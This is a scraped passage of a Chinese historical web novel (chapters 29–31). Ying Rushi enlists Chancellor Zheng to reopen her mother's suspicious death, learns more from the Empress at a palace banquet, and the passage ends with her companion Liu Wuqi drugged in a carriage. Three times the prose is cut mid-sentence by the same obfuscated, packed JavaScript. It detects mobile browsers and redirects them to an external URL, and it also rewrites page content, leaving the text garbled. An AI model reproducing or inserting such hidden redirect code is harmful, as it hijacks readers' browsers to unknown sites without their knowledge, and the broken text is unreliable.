“你今日前来究竟又何目的？“郑齐修问道。 虽然他的脸上依旧平静无波，但应如是似乎感觉到他的不耐，于是开门见山道：“晚辈此番前来是想求丞相大人帮一个忙。” “所求为何？” “三月初三，迎春宴开。” 郑齐修轻哼了一声：“黄口小儿，简直是痴心妄想。” 意料之中的反应，应如是并没有泄气，而是说起了一段旧事：“定安四十七年，有一个从淇水而来的年轻人进京赶考，宿于双鹤楼中。是夜，楼中举办诗酒会，若胜出，则可免去一个月的食宿钱。年轻人乘着酒兴，于台上连吟诗数首，击败多人，本以为他可一举胜出，谁料途中杀出另一人，此人才学颇高，二人一唱一和，斗了一整夜。从古之圣贤说到今之凡夫，从论道之乐说到稼穑之苦，最后无人胜出。那一夜，双鹤楼人满为患，多少文人墨客聚于楼中，围观二人吟诗作赋，在当时传为一段佳话。” 郑齐修神色忽变，一脸不可置信，紧握的双拳暗示他此刻内心极不平静。 “二人经此一会结为知己，那一年科举皆金榜题名，一人榜眼一人探花，世人将二人称为‘定安双子’。以二人之才，本可建立一番功业。然好景不长，一人致力于变法革新、推行新政，却深陷权力之争，处处掣肘；一人欲肃清天下不平之事，为死者鸣冤，却黯然辞官离京，自此杳无音讯。” 郑齐修听完后久久不语，目光越过窗棂飘向更远的回忆中，神情似惆怅似悲哀。良久，他才开口问道：“你是从何处听来这些事的？” 语气听来已经不像之前那般拒人千里，这让应如是感觉多了几成把握。 “从何处听来并不重要，晚辈提及此事只是想说，若丞相还记挂旧人、心念旧事，晚辈或可助您一臂之力。”应如是言辞极为恳切。 “你要如何助我？”郑齐修终于有了兴致，双眸里充满探究。 “重翻旧案。” “大言不惭！”郑齐修冷笑一声，呵斥道，“十年前的旧案岂是你说翻就能翻的？” “当年之事疑点重重，晚辈已经掌握了一些线索，只要大理寺襄助，重启调查并非难事。”应如是言道。 “大理寺又岂会帮你？” “陛下已准许晚辈参与调查孩童被杀一案，获取当年卷宗轻而易举，另外大理寺卿欠晚辈一个人情，您也知道当年案件是由他亲审，没有人比他更了解内情。”应如是有条不紊地说道。 郑齐修沉默不语，但是从神态上来看，似乎有所动摇。 应如是趁热打铁，继续劝说道：“抛开案件不说，晚辈与丞相是友非敌。晚辈怀疑孩童被杀一案的幕后主使是江明渊，只是现在并无实证。晚辈一向恩怨分明，若有恩与我，我必涌泉报之；但若加害与我，我也绝不轻饶。江明渊此人并非等闲之辈，在朝中势力颇深，多一个盟友为丞相解决心腹大患，何乐而不为呢？” 郑齐修没再说什么，反而问起了另一件事：“重开迎春宴的目的为何？” 应如是坦诚相告：“为救一人。” 出了丞相府，应如是终于松了口气，方觉后背已经沁出了薄汗。 不愧是在朝多年的老臣，心思之深非比常人，虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15443967|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然做好了充分的准备，但是依旧看不穿他的想法。 现在唯一确定的就是他对当年之事耿耿于怀，这是唯一的机会。成败与否，皆系于此。 说起如何知晓此事，这还多亏了沈清识的那句话。 那日得知郑丞相与江明渊不睦后，她便找人打探了此事。得知此事确实不假，但并非一开始二人就交恶，转折点大概是在十年前。 要说十年前发生的事，应如是首先想到与江明渊有关的事是母亲病故，之后便是续弦再娶以及外祖父辞官归隐。 前两件事应该与丞相无关，就算有联系，也不太可能到满朝文武唯厌一人的地步。如此看来，最有可能的便是外祖父辞官，再加上他们二人年纪相仿，或许相交甚好也未可知。 外人皆言大理寺卿萧若竹因丧女之痛、外孙女下落不明而一夜白头，自此一蹶不振，弃官逃离京师。鲜少有人知道真正原因是他一生断案无数，却无法为自己的女儿鸣冤昭雪，因而心灰意冷，不愿为官。 这是之前她在外祖父的旧宅中整理旧物时无意发现的手札上看到的，当年母亲萧颜之死他心中存疑，但是所有证据都指向病故。他悲愤交加，只能写信诉诸他人，只是手札并未寄出，上面也未留下任何人的名姓。 与沈清识相谈后，应如是再次去了一趟旧宅，这次她有目的地翻找了外祖父早年留下的旧物，终于验证了自己的猜测：他确实与丞相交情匪浅。 二人的友情在大量书信、诗赋中可见一斑。从年少微末之时的相识，携手走过一段意气风发的时光，因政见不合而渐行渐远，最后分道扬镳，再无交集。 “士则与我，恰如珠光月色辉映皎洁。” “世事悲欢总无常，弦音流水梦黄粱，昔日双鹤分飞去，唯见孤影泪两行。” “……” 虽然“定安双子”已成过去，被世人所遗忘，二人的知己情谊却不曾蒙尘，虽然各自为营，但仍惺惺相惜。 在外祖父的手稿中多次提及“双鹤楼”，显然此处对二人意义非凡。只是京中并未听说过此楼，且若能知道一些当年之事，或许更有希望说服他。 这件事被明心知晓后很快有了答案：原来赴仙楼就是双鹤楼的前身。此外，他还找到了当时在场的一个人将事情的始末记述下来，虽然对应如是大有用处，但是也让应如是对他越发好奇。 一个南庆国的和尚竟然对京中之事如此了解，甚至连十几年前的旧事都了如指掌。不仅如此，他与各家商铺的关系极为紧密，蒋管家曾说过京中大多数掌柜都曾入府与他见过。 他究竟是何人？身上又带着怎样的秘密？这些问题比现下的案情更加扑朔迷离。 应如是无暇去想，只能暂时放在心里，等待解惑的一日。 没几天，丞相府传来消息，皇后向圣上提起重开迎春宴之事，圣上已经应允。 与此同时，沈清识也带来了一个好消息。 30. 第三十章 那日之后，沈清识心中就有了一个猜测，他找到了几个与章廷之关系亲近的荫生，向他们询问那段时间章廷之有何反常之处。 荫生们一开始都表示并无异常，但经沈清识提点后，他们皆有所感，这更加验证了沈清识的猜测。于是，他再去找章廷之。 一开始，章廷之抵死不开口，但在沈清识连哄带骗、威逼利诱之下，他终于吐露了实情。 “你猜他都交代了什么？”沈清识一脸得意地问道。 “和江明渊有关？” 应如是的随口一答就让他垮下脸来，沈清识叹了口气，无奈地反问道：“你是如何知晓的？” “很简单，上次说到怀疑江明渊之时，就见你神色有异。”应如是一脸理所当然地看着他。 “和聪明人说话就是不费力，但就是少了很多乐趣。”沈清识咕哝了一句，“从前的你可不像现在这般……” 应如是听到后不由垂下眼眸，长睫掩住了眼中的情绪，但又怕他察觉出什么，转而问道：“江明渊是如何收买他的？” “每岁，学生业成，国子监举行监试，届时司业、祭酒莅试，登第者上于礼部。今年便是章廷之的业成之年，江明渊以登第名额诱之，供他驱策。” “原来如此。” “但江明渊阴险狡诈，只是口头许诺，并未留下物证。若日后章廷之指认，怕是他不会承认。”沈清识语气中不无遗憾。 “不然以他谨小慎微、狠辣决绝的性子，怎会让章廷之活到现在？定是知道他掀不起什么风浪，所以才放任不管。”应如是的语气陡然变冷，“我从未想过凭借一人之力就能扳倒他，现如今知道他是幕后之人便已足够。” “接下来你有何打算？” “好戏才刚刚开始，且走一步看一步。”应如是眸色一冷。 皇后的懿旨传至京中高门贵户：三月初三，于宫内设飨，召京中女眷和世家子弟，共赏春日盛景。 一时间，重开迎春宴闹得满城风雨，其中不乏有批判者认为此举关乎朝堂稳定，不应草率为之，甚至有朝臣在早朝之时以此事奏请天子。 迫于无奈，皇后只能再下旨澄清：此次宴会，只为饮酒赏花，并无其它目的，这才平息了风波。 阳春三月，正是春暖花开、万物复苏之际。 是日，宫门前车马云集，比肩叠迹。身着各色华服的京中贵女以及倜傥风流的公子王孙，吸引了不少行人驻足观望。 江若微随母亲从马车上下来，她清瘦了许多，单薄的身子仿佛一阵风就能吹倒。脸上是脂粉掩不住的虚弱之色，眉间藏着化不开的愁绪。 她并未像其他女子一般浓妆艳抹，穿着一身淡雅素衣，戴着几件简单的佩饰。在一片招展的花枝中倒显得清丽脱俗，吸引了不少人的目光。 在宫女的引导下，一众小姐公子哥从奉天门鱼贯而入，路过一座座巍峨华美的宫殿，穿过一条条起伏有致的长廊，到达鸾台。 此处有山石堆砌，曲水相依，入目繁花翠柳，一片胭脂凝碧，更有亭台楼阁数座，相映成趣。在此一年四季皆可观景，就连一日之景也有不同意趣。 果真应了那句：“翊鸾台之广宴，扈鸳砌之仙游。” 殿外几十张桌案置于花前树下，上面摆上了各色糕点果子等吃食，来往宾客可以随意享用。 京中未出阁的贵女往往三五成群聚在一起，聊些姑娘家的闺阁趣事，时不时拿眼偷看某些俊俏的公子，被发现后惹来一阵娇笑。 那些世家子弟也是结伴同行，一边赏景游园，一边吟诗作赋。为了让自己在心仪女子面前大放异彩，也是使劲了各种招数、用尽了毕生才学。 但仍旧比不上某些不用任何心机和手段就能引起众人瞩目的公子，沈清识便是其中之一。 自他入园后，几乎所有女子的目光都缠绕在他身上，一刻也不能松开。 不得不说，像沈清识这般品貌才情的，京中确实少见。骨子里自带风流韵味，见谁都是一副彬彬有礼的文人雅士模样，对姑娘更是礼数周全，让人挑不出错处。 有人骂他离经叛道，但他饱读诗书，确有真才学，凭借自己的本事成为国子监司业。 有人说他风流多情，但他鲜少去风月场所，至今还未娶妻，也没听说有什么红颜知己。 没多久，沈清识又被围困在一堆“花枝”中，但他神情并无半分不耐，言语间分寸得当，举止间进退有度，哄得贵女们喜笑颜开，也让其余公子万分嫉妒，但又没办法。 刘舞起一进园便看到如此盛况，大为震撼，于是双手环胸，以审视的态度看着此景并感叹道：“啧啧啧，这京中的贵女尽是些目光短浅之辈，个个耽于美色，却无一人发现面孔之下的冷淡疏离。” 许是过于灼热的目光引起了沈清识的察觉，他转过身来，一眼便和刘舞起对视上了。 二人隔着人潮相望，忽然一阵香风吹过，花瓣纷落，沈清识勾唇一笑，眉宇间竟是似水温柔。 这般“天然去雕饰”的神情极少出现在沈清识的脸上，一时间让众多小姐看呆了去，就连刘舞起也呆滞了片刻。 脸颊微微发烫，心跳有些不寻常，刘舞起一手捂着脸，迅速背过身去，口中默念：“真是蓝颜祸水，美色误人。刘舞起，你清醒一些！” 而在她心乱之际，沈清识的笑容越发肆意张扬，他继续和女子们周旋，心情却畅快了不少—— 今日，她的装扮格外不同，向来见惯了她素面朝天、素色短褐的样子，今日这身胭脂红广袖留仙裙，配着京城时兴的落霞妆，看上去像是变了一个人，少了几分男子的硬朗之气，多了一些女子的温婉娴静。 起初自己都有些认不出来，还以为她是哪个深居简出、未曾露面的世家小姐。只是，这身繁复庄重的衣服对她来说过于累赘且不方便，看着她几次差点被拖曳的裙摆绊倒而生闷气，多次被将军按住想要撩起裙摆系于腰间的手，差点笑出声来。 京中贵女们多少有些疑惑：今日的沈清识感觉心情格外不错，脸上的笑容都快漫到耳边去了。 郑皇后与盛贵妃姗姗来迟，二人皆是一袭盛装，华贵异常，甫一现身便让满院的佳人黯了颜色。 郑皇后宣读迎春宴的祝词：“春日有信，准拟佳期，择上巳之良辰，设琼宴于鸾台，邀京中显贵之家眷共庆阳和。观夫满堂金玉之姿，四座镂月之才，击磬而咏华章，簪花以酬韶光，曲水流觞，飞花传令。愿藉此盛会，祈年岁之连丰，颂先人之功业，使四海无虞，八荒有庆，四时有序，百姓安宁。” 祝词言罢，举酒共饮，一片和美之气。皇后与相熟的几位夫人说了一会儿话便离开了宴席，不久贵妃也不胜酒力自行离去。夫人们为了不扰了年轻人的雅兴，去到另一个园子小聚。 少了年长者的看顾，加上酒后微醺，有些纨绔子弟渐渐开始暴露本性。 这边，刘舞起刚拈起一块花糕放入口中，一个人突然出现在她面前。 此人脸颊泛红，双目迷离，眼下一片青黑，一看便知是长期浸淫酒色之徒。 刘舞起不愿与他攀谈，端起盘子便要离去，他却不识好歹加以阻拦。 “这位美人，你是哪家府上的千金？”他满口酒气地调笑道，同时还用色眯眯的眼神放肆打量着。 刘舞起意味深长地看了他一眼，心想着：这么多年来，还从未有人敢如此胆大包天地公然调戏自己。不如陪他玩玩？ 虽然他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466881|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的样子让人恶心得想吐，但刘舞起还是忍住了，想起应如是教的女子礼仪，她微微欠身道：“妾身是将军府的人。” “哪个将军府？” “镇南将军府。” 听到镇南将军府，他的神色微变，但很快掩饰了过去：“原来是镇南将军的妾室，果然与众不同。” “公子也是气度不凡。”刘舞起掩唇轻笑。 二人一来一往，相谈甚欢，却不知远处有一双眼睛默默地注视了他们许久。 “你是眼红了？”应如是折扇一合，看向沈清识。 “这有什么眼红的？只是我看与她谈笑的那人是孙忌，他是兵部尚书的次子，此人常年流连勾栏乐坊，京中贵女谁不是见他就躲，就她还眼巴巴地贴上去。”沈清识看似满不在乎地说道。 “舞起在逗他玩呢！”应如是笑道。 沈清识话没问出口，便见孙忌忽然身子一歪，转眼便栽入了水塘中。一旁的侍从慌了手脚，一个个跳进水里，顿时乱作一团。 刘舞起从混乱中潇洒抽身，看到应如是便跑了过来。 “你刚刚又使什么坏呢？”应如是一眼便看出是她所为。 “好一个无耻之徒，竟然敢对本校尉动手动脚，怕是活腻了不成！既如此，就让他好好在水里清醒一下！”刘舞起破口大骂道。 “刚刚清识还在和我说，怕你被他哄骗了去。”应如是促狭的目光看了二人一眼后便抽身离去。 沈、刘二人面面相觑，紧接着争吵的声音传了很远都能听到— “好你个梅骨，在一旁看得开心吗？” “在下只是出于担心，刘校尉不要误会。” “你觉得我会信吗？你这个阴险小人，看我不将你打趴下！” “大庭广众之下，莫要动手！” “……” 应如是信步而行，一路观景，不知不觉来到了另一个园中，看到一群妇人围坐在一起。因为担心惊扰了贵人，她急忙转身离开，却差点撞倒一人。 应如是一边暗骂自己冒失，一边躬身赔罪，却迟迟没等到面前之人的回应。于是，她抬头一看，见其真容后顿时双目圆睁，浑身震颤不已—— 妇人身穿月白色织锦袍，外罩一件水色刺绣披风，梳着朝天髻，头上佩戴两根白玉簪和翠玉梳篦，浑身上下不见其它金银首饰。一张略施粉黛的鹅蛋脸，细长的柳叶眉下是一双秋水剪瞳，唇边一个血痣，与记忆中的样子完全重合。 “你是谁？”应如是情绪有些失控。 妇人似乎被她这个样子吓到了，连退了几步，然而应如是步步紧逼：“你是哪个官员的夫人？” 妇人手足无措，但依旧没有出声。 这时，一个熟悉的声音传来：“应将军，你怎会在此？” 应如是回身一看，原来是江若微。 她走到妇人跟前，手指比划了几下，妇人同样也比划着。 “应将军，这是家母。家母不能言语，妾代为传达，不知将军找家母所为何事？”江若微问道。 应如是听完后，一时间心思百转千回，无数想法涌入脑海中，让她呆若木鸡。 江若微见他脸色煞白，连唤三声都没有反应，差点就要喊人了，好在应如是及时回过神来，匆匆拜别后离开园子。 一路上，应如是都有些心不在焉：那日王毓秋怎会出现在院中，还扮作侍女的样子？她的出现和江明渊有无关系？记得她那时还能说话，之后为什么变哑？和母亲的死有关吗？ 一个个问题如同一张密不透风的罗网将人笼罩，她被困其中，找不到出口。但不可否认的是，当年之事还有更多隐情。 看来是时候单独会一会那个人了。 31. 第三十一章 应如是心中烦闷，本想提前离宫，忽见一个宫婢走来，有礼道：“见过将军，皇后娘娘有请。” 应如是想着多半是为了重开之事，于是便跟随宫婢来到一处清幽之地。 此地偏僻，多参天古木，竹林密集，有不少歧路，若是生人闯入，恐迷失其中。应如是亦步亦趋跟着她走了许久，终于视野开阔，见一座凉亭临湖而建，郑皇后坐于亭中，遥望云水茫茫。 由远及近的脚步声拉回了她的思绪，她转头看向应如是，目光里透着神伤。 应如是不明所以，但还是恭敬地行礼道：“微臣应如是，参见皇后娘娘。” “免礼，坐吧。”郑皇后回道。 应如是在她对面坐下，心中开始盘算起来接下来该如何应答。 “你不必紧张，本宫今日叫你前来只为叙旧。”郑皇后见她低眉不语安慰道。 一句话便让应如是汗流浃背、心若擂鼓，她忙端起茶杯以掩饰自己的慌张，不断思索着：这句话是什么意思？之前与她素无交集，何来叙旧？难道她知道些什么？ 为今之计，只能先装傻充愣，且看她葫芦里卖的是什么药。 “皇后娘娘说笑了，微臣与娘娘仅一面之缘，岂敢攀附？”应如是想了想又道，“迎春宴一事多亏了娘娘鼎力相助，娘娘的大恩大德，微臣铭记于心。” 郑皇后但笑不语，又看向湖面，粼粼的水波泛起微光，让人心宁神静。 一番话如同石子入海，不起一丝波澜。应如是看不穿她的心思，也不敢多语，只能眼观鼻、鼻观心。 良久，郑皇后又问道：“你母亲的事调查得如何了？” “还未……”应如是话说一半连忙住嘴，内心越发不安，装作讶异道，“皇后娘娘说的话，微臣听不明白。” “行了，别掩饰了，本宫从见你的第一眼就看出来了。”郑皇后看向她，凤目流转间，似藏着往日的烟尘，“你的眸子像极了你的母亲，本宫断不会认错的。” 这一刻，仿佛见到自己苦心筑起的高楼顷刻崩塌，应如是如鲠在喉，一时间竟无法呼吸。只是不甘和怨恨仍然盘踞心中，成为一道无法逾越的坎，让她难以就此作罢。 她忽然俯身跪地，像是在做最后的挣扎，陈情道：“皇后娘娘，微臣自知罪孽深重，若娘娘想治罪，微臣绝无二话，但家母之死尚存疑点，若不调查清楚，微臣死不瞑目。” “你这孩子。”郑皇后叹了口气，“若本宫想治罪于你，何须等到今日？” 应如是有些茫然无措：“那娘娘召微臣前来是为何故？” “你先起身。”郑皇后见她坐定后才言道，“或许你不知道，本宫与你母亲萧颜曾是闺中好友，你小时候本宫还抱过你。” 见应如是一脸惊讶，郑皇后笑意更深：“这下你应该放心了吧？本宫今日只想与你说一些旧事，并无其它目的。” 应如是细细想来，觉得合乎情理：既然外祖父与郑丞相曾是知己，那么他们的女儿相交也是顺理成章的事。只是，之前为何从未听母亲提起过？难不成她们后来生了什么罅隙？ 这个问题随后便有了答案，同时母亲的另一面也让她不敢置信。 郑皇后缓缓说着过去：“三十载光阴，弹指一挥间。本宫与你母亲萧颜自幼便相识，父亲一辈曾被称作‘定安双子’，本宫与阿颜戏说要成为‘景和双姝’。年少时我们成日里待在一起，阿颜天性自由洒脱，喜爱这世间的一切山川美景，常纵马携本宫一起出门游历，见过松间明月，听过林下晚风，在山间看断崖飞瀑，在云海赏万丈霞光，那段时光至今都难以忘怀。” 应如是不可思议地听她说完这段话：这与记忆中的母亲简直判若两人！记得母亲是个温婉贤淑的深宅贵妇，除了养花弄草、打理后宅，几乎没有其他事情可做，平日里更是连门都很少迈出。这般肆意潇洒的样子，实在令人难以想象。 “看来你完全不了解你的母亲。这也难怪，本宫也未曾想到有一天她会自折羽翼，甘愿陷在那深宅内院之中，这一切都是江明渊之过。”郑皇后话锋一转，眸中沁出恨意，“自从遇到江明渊后，阿颜就像是变了一个人一样。那年江明渊官拜礼部主客司郎中，一个区区五品小官，也不知用了何种手段，竟然让阿颜对他死心塌地，甚至不惜反抗自己的父亲也要与他成亲。本宫见那江明渊心思深沉，并非可托付终身之人，也曾劝说一二，但阿颜完全听不进去，甚至要与本宫断绝关系。后来没过多久，本宫选秀入宫，与阿颜彻底没了交集，直到你出生后才再次相见，可惜没过几年，她就撒手人寰。” 应如是想起母亲那些年的悲惨经历，叹息道：“当局者迷，旁观者清。” 关于父母旧日情事，母亲未曾详细告知，只知道当年母亲对他一见钟情，曾发誓非他不嫁。而在这之前，外祖父早已为她寻好了一门亲事，却因为女儿的固执不得不退婚，那户人家也是显赫门第，如此有失颜面之事，怎肯轻易应允？为此，外祖父连吃了两次闭门羹后才将婚事退掉。 后来，母亲的诸多悔恨都是源于对外祖父的愧疚，虽然外祖父从未对她苛责过什么。 “阿颜之死绝不简单。”郑皇后斩钉截铁地说道，“她身子向来康健，年少时骑马射箭不在话下，怎会突发恶疾亡故？这其中定有蹊跷。” 应如是回道：“母亲自从生下我之后身子确实不大好，一直用药调养，期间还曾生过一场重病，但病因在于心结，后渐渐痊愈，并无大碍。只是突然身故疑点重重，不瞒娘娘说，微臣整理了外祖父旧物，发现外祖父对此也有所怀疑，主要疑点有三：其一，仵作查验尸体判定死因是风疹急症，但母亲之前曾罹患过此病，虽然发作时痛苦万分，但并无性命之虞。其二，外祖父看过尸身，见母亲衣衫不整，连衣带都没系好，怀疑死前被人换过衣物；其三，事情过于巧合，母亲过世前不久，一直在身边伺候的侍女忽然一个告假一个失踪。” 郑皇后说道：“萧大人断案无数，本宫自然相信他的判断，只可惜当时若不是要回避此案，萧大人定能查个水落石出。” “微臣自当竭尽全力，将当年之事彻查清楚。”应如是郑重地说道。 “当年没能替你母亲说句公道话一直是本宫的遗憾。你是她唯一的女儿，凡事不可逞强，一切以自身为重。”郑皇后看向她的眼神又是心疼又是不忍，最后忍不住抚上了她的头，“离京这么多年，在外吃了不少苦吧？” 应如是眼中酸涩，轻声应了一句。 离亭后，应如是心中依然难以平静，不得不说这次迎春宴之行收获颇丰，回去要好好想想下一步计划。 宫婢依旧在前方引路，不知走到何处，忽然听到静谧的竹林中传来人的说话声。 应如是急忙上前，捂住宫婢的嘴躲到一旁。宫婢惊恐挣扎，但看到应如是手指的方向后瞬间消停了。 在疏密的竹叶间，隐约可见两个人影，其中一人是盛贵妃。 “……还请娘娘稍安勿躁。” “本宫想要知道他的计划！你回去告诉他，本宫的耐心是有限。” 没等那人回答，盛贵妃便拂袖离去。那人随后也离开了，自始至终都没露脸。 应如是放开宫婢，问道：“你应该知道怎么办吧？” “奴婢什么都没看见。”宫婢低眉顺眼回道。 “继续带路吧。” 应如是一路思索着，直到再次回到原来的地方。 刘舞起还在园中闲游，见她出现问道：“你刚刚去哪里了？半天都不见你踪影。” 应如是还未回答，忽见前方传来骚动。只见，孙忌又盯上了一个女子，对那女子步步紧逼、上下其手。 刘舞起同样也看到了这一幕，登时就怒了：“这人还真是不长记性，看我不好好教训一下！” 应如是本想让她收敛一些，却见她摩拳擦掌已经冲到了孙忌面前，夹在二人之间，拉开距离。 “怎么是你？”孙忌有些防备地看着她。 “孙公子，你刚刚不是还说钦慕于我，怎么一转眼就和别人勾搭上了？”刘舞起委屈娇嗔地说道。 这个样子竟让孙忌看呆了，他转而一脸笑意地说道：“刚刚是在下失仪，让小姐见笑了。” “无妨，孙公子没摔着吧？”刘舞起看起来担忧极了。 应如是在一旁看着津津有味，沈清识听到动静后也赶过来，只是他眉头微蹙，似乎有些不悦。 孙忌一听更高兴了：“要不小姐您好好看看？” 话音刚落，他便要凑上来，谁料刘舞起一个旋身转到他身后，反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15472643|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手扭过他的左臂，将他按住。 只听一声脆响，孙忌的胳膊脱臼了。 “你这个毒妇！”孙忌疼得直抽搐，但无奈身体动弹不得，只能破口大骂。 “那我就毒死你。”刘舞起恶狠狠地回道。 应如是怕她还有动作，立马过来相劝：“行了，放开他吧。” 刘舞起不甘心又斥了几句，这才松开手。 在众人灼热的目光中，孙忌一边扶着左臂，一边仓皇而逃，还言语威胁道：“你们给我等着。” 送走了瘟神，刘舞起这才看向那个姑娘，温言道：“你没事吧？” 女子眼神呆滞，显然惊魂未定，一句话也不说。 “不会被吓傻了吧？”刘舞起看向应如是，低声问道。 “别胡说。” 一旁的侍女终于反应过来，连唤了几声“小姐”后，女子这才“回魂”。 “多谢两位恩人出手相助。”女子欠身道，“妾名唤许悠宁，不知恩人如何称呼？” 刘舞起摆手道：“不过举手之劳，就别唤恩人了，我叫刘舞起，她是应如是。” “刑部尚书许汝成是你何人？”应如是问道。 “是家父。”许悠宁毕恭毕敬地答道。 应如是见她细眉杏目，身材娇小，堪堪只到自己肩部，而他的父亲许汝成却是一个浓眉大眼，体格高大之人。父女之间竟无半分相似之处。 应如是不免有些疑惑，但碍于礼节，她并未相问，只是寒暄道：“原来是许大人的千金，失敬失敬。” “应公子客气了。”许悠宁再次欠身。 应如是见她眼眸微垂，手指一直绞着手帕，知晓她有些不自在，于是带着刘舞起先行告辞了。 “这京中竟然还有人不识你。”刘舞起学着她的语气问道，“应公子，你说呢？” “大多数世家小姐久居深闺，常年都不出府，自然不知晓我的身份。”应如是解释道。 “幸好我不是什么世家小姐，不然真怕自己会闷出病来。”刘舞起想了想又道，“你说她们整日不出门都在做什么？天天绣花吗？” 应如是听她絮絮叨叨说了一路，宫门外马车已经备好，二人正要上车，却见江若微匆匆赶来。 她先是看了一眼刘舞起，见她丝毫不动，只能直言：“刘校尉，妾有几句话想单独和将军说，还请回避一下。” “那我先行一步。”刘舞起的目光在二人身上停留了片刻，而后上了马车，在车里越想越觉得不对劲：刚刚江若微的眼神怎么好像带着敌意？ “江小姐，有什么话就说吧。”应如是神情冷漠，语气疏离。 在知晓她母亲的真容后，应如是心绪变得更加复杂，一时间不知道该如何面对她。 “妾还未感谢将军的搭救之恩。”江若微眼波流转，带着绵绵情意。 “是在下连累了小姐，这是在下应该做的。”应如是刻意避开她的视线，“以后江小姐还是离在下远一点为好，以免伤及自身。” “应将军，你是因为家父才与妾疏远的吗？”江若微眼中泛着泪光，声音哽咽。 应如是没有回答，而是婉言道：“江小姐，你我不过萍水相逢，在下不值得小姐付出真心。” “有人白首如新，有人倾盖如故。值不值得岂是将军说了算！”江若微红着眼分说道，“难不成将军已有意中人？是刘校尉吗？” 此刻，坐在马车中闭目养神的刘舞起忽然打了个喷嚏。 “与刘校尉无关。在下言尽于此，还望江小姐莫要纠缠。”应如是说完，不再看她一眼，翻身上马离去。 刘舞起坐在车里吃着果脯蜜饯，没多久便睡了过去。马车一路行驶平稳，而后出了京城，向西而去。 她睡得香甜，丝毫未觉，直到马车忽然颠簸了一下，她的头磕到车窗上，这才悠悠转醒。 马车中熏香缭绕，馥郁的香气窜入鼻中，竟让人有些眩晕。刘舞起想要起身，惊觉浑身上下虚软无力，连抬手都不行。 糟了，被人设计了。她暗骂了一句。 但现在她已无力去想设计自己的人是谁，只感觉马车行驶得越来越快，窗外之景也从葱郁的林间变为空旷无物。 难不成，这马车要……她惊恐地睁大双眼。